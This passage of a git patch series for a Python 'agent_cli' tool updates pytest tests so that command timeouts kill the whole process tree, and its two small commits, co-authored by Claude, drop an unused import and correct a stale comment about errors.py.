pytest.MonkeyPatch ) -> None: - """subprocess.TimeoutExpired in the cwd branch becomes Completed(124).""" + """Completed(124) from run_argv_killing_tree propagates through cwd branch.""" - def boom(*_args, **_kwargs): # type: ignore[no-untyped-def] - raise subprocess.TimeoutExpired(cmd=["sleep", "999"], timeout=120) + def fake_tree( + _argv: list[str], *, cwd: str | None = None, timeout: float | None = None + ) -> Completed: + return Completed(124, "", "timed out") - monkeypatch.setattr(subprocess, "run", boom) + monkeypatch.setattr("agent_cli.fixer_act.run_argv_killing_tree", fake_tree) completed = _runner_to_completed( lambda _argv: Completed(1, "", "runner-should-not-run"), ["sleep", "999"], cwd=str(tmp_path), ) assert completed.returncode == 124 - assert completed.stderr + assert completed.stderr == "timed out" + + +def test_runner_to_completed_cwd_uses_tree_killing_helper( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + """cwd branch must call run_argv_killing_tree with argv/cwd/timeout.""" + seen: list[tuple[list[str], str | None, float | None]] = [] + + def spy( + argv: list[str], *, cwd: str | None = None, timeout: float | None = None + ) -> Completed: + seen.append((list(argv), cwd, timeout)) + return Completed(0, "from-helper", "") + + monkeypatch.setattr("agent_cli.fixer_act.run_argv_killing_tree", spy) + completed = _runner_to_completed( + lambda _argv: Completed(1, "", "should not run"), + ["echo", "hi"], + cwd=str(tmp_path), + timeout=1.0, + ) + assert completed.stdout == "from-helper" + assert seen == [(["echo", "hi"], str(tmp_path), 1.0)] def _fake_insert_pr_open_and_scan(store, *, session_id, payload, runner): # type: ignore[no-untyped-def] diff --git a/tests/test_run.py b/tests/test_run.py index 39fedc8..5889019 100644 --- a/tests/test_run.py +++ b/tests/test_run.py @@ -2,6 +2,7 @@ import os import subprocess +import time from pathlib import Path import pytest @@ -2207,15 +2208,31 @@ def pass_launch(**kwargs): # type: ignore[no-untyped-def] def test_exec_argv_timeout_returns_124(monkeypatch: pytest.MonkeyPatch) -> None: - """subprocess.TimeoutExpired from main._exec_argv becomes Completed(124).""" + """Completed(124) from run_argv_killing_tree propagates through _exec_argv.""" - def boom(*_args, **_kwargs): # type: ignore[no-untyped-def] - raise subprocess.TimeoutExpired(cmd=["sleep", "999"], timeout=120) + def fake_tree( + _argv: list[str], *, cwd: str | None = None, timeout: float | None = None + ) -> Completed: + return Completed(124, "", "timed out") - monkeypatch.setattr(subprocess, "run", boom) + monkeypatch.setattr("agent_cli.runtime.run_argv_killing_tree", fake_tree) completed = _exec_argv(["sleep", "999"], cwd="/tmp") assert completed.returncode == 124 - assert completed.stderr + assert completed.stderr == "timed out" + + +def test_exec_argv_timeout_kills_grandchild(tmp_path: Path) -> None: + pid_file = tmp_path / "child.pid" + argv = ["bash", "-c", f"sleep 30 & echo $! > {pid_file}; wait"] + t0 = time.monotonic() + completed = _exec_argv(argv, timeout=1.0) + elapsed = time.monotonic() - t0 + assert completed.returncode == 124 + assert elapsed < 10.0, f"timeout path took too long: {elapsed:.2f}s" + assert pid_file.exists(), "grandchild should have had time to write its pid" + grandchild_pid = int(pid_file.read_text().strip()) + with pytest.raises(ProcessLookupError): + os.kill(grandchild_pid, 0) def test_pr_gate_rejection_evidence_omits_status_preamble( From 9d100ecc0be51ff347b06be4631e9aab264237b9 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Thu, 3 Sep 2026 05:07:23 -0300 Subject: [PATCH 46/47] Drop unused local_check_timeout_sec import in fixer_act.py. It is only called inside run_core.py's own execute_spine_step. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/fixer_act.py | 1 - 1 file changed, 1 deletion(-) diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index eb6ecea..136d5df 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -28,7 +28,6 @@ complete_spine_agent_step, execute_spine_step, launch_agent_plan, - local_check_timeout_sec, prepare_spine_agent_step, ) from .store import Store, StoreError From 6c08b660e109fe852b6185858a15634df33df196 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Thu, 3 Sep 2026 05:07:26 -0300 Subject: [PATCH 47/47] Fix stale comment claiming this PR does not touch errors.py. fingerprint() and _latest_seen() in errors.py both normalize now; only incident_closed's error_id comparison is still intentionally unnormalized. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/error_fix_act.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/src/agent_cli/error_fix_act.py b/src/agent_cli/error_fix_act.py index 5419bf3..6de5e16 100644 --- a/src/agent_cli/error_fix_act.py +++ b/src/agent_cli/error_fix_act.py @@ -165,8 +165,9 @@ def validate_conclusion( persisted. Persisting the raw, unstripped payload would validate one value and compare a different one. """ - # errors.incident_closed still compares error_id without this normalization - # — out of scope for this PR; do not touch errors.py. + # incident_closed's error_id comparison is intentionally left unnormalized + # (errors.py itself IS touched elsewhere in this PR — fingerprint() and + # _latest_seen() both normalize — this comparison specifically does not). error_id = _nonempty_str(payload.get("error_id")) if error_id is None: raise StoreError("error_id is required")